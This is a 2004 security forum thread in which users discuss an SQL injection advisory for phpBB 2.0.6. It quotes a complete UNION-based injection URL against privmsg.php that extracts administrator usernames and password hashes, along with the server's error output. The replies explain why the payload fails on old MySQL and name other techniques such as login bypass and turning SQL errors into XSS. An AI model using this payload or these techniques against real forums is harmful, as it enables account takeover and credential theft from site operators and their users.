|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
On the sql injection advisory |
|
Posted: Sun Jun 13, 2004 4:20 am |
|
|
vocal |
Regular user |
|
|
Joined: Jun 13, 2004 |
Posts: 18 |
|
|
|
|
|
|
|
Hello!
I 've been testing the injection string on a phpBB 2.0.6
Code: |
http://foo.xx/forum/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,user_password%20FROM%20phpbb_users%20WHERE%20user_level=1%20LIMIT%201/*
|
This is what i got:
Code: |
Could not query private message post information
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax near 'UNION SELECT username,null,user_password,null,null,null,null,null,null,null,null' at line 5
SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM phpbb_privmsgs pm, phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id AND pm.privmsgs_type=-99 UNION SELECT username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,user_password FROM phpbb_users WHERE user_level=1 LIMIT 1/*AND ( ( pm.privmsgs_to_userid = 227 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 227 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid
|
Any hints as to what went wrong? My SQL understanding is still young. |
|
|
|
|
|
|
|
|
Posted: Sun Jun 13, 2004 1:34 pm |
|
|
SteX |
Advanced user |
|
|
Joined: May 18, 2004 |
Posts: 181 |
Location: Serbia |
|
|
|
|
|
|
There is not UNION Support on target server..Target has old version of MySql.. |
|
_________________
We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
------------------------------------------------------- |
|
|
|
Posted: Sun Jun 13, 2004 3:38 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
SteX is right - there is probably mysql version 3.x without UNION functionality... |
|
|
|
|
Posted: Mon Jun 14, 2004 3:09 am |
|
|
thotho |
Beginner |
|
|
Joined: Jun 14, 2004 |
Posts: 4 |
|
|
|
|
|
|
|
so
you can't use the sql injection on older Mysql versions ?
or theres another function to do it ?
cheers |
|
|
|
|
Posted: Mon Jun 14, 2004 9:21 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
You cant use "UNION" tricks on old mysql layer, but all the traditional methods can still be used: playing with sql query conditions (handy, when its need for login bypass), sometimes will help JOIN keyword, some other times sql query failing can turn to xss for example, etc etc.
But one thing is sure - without UNION functionality 99% of the sql injection potential possibities are GONE. |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|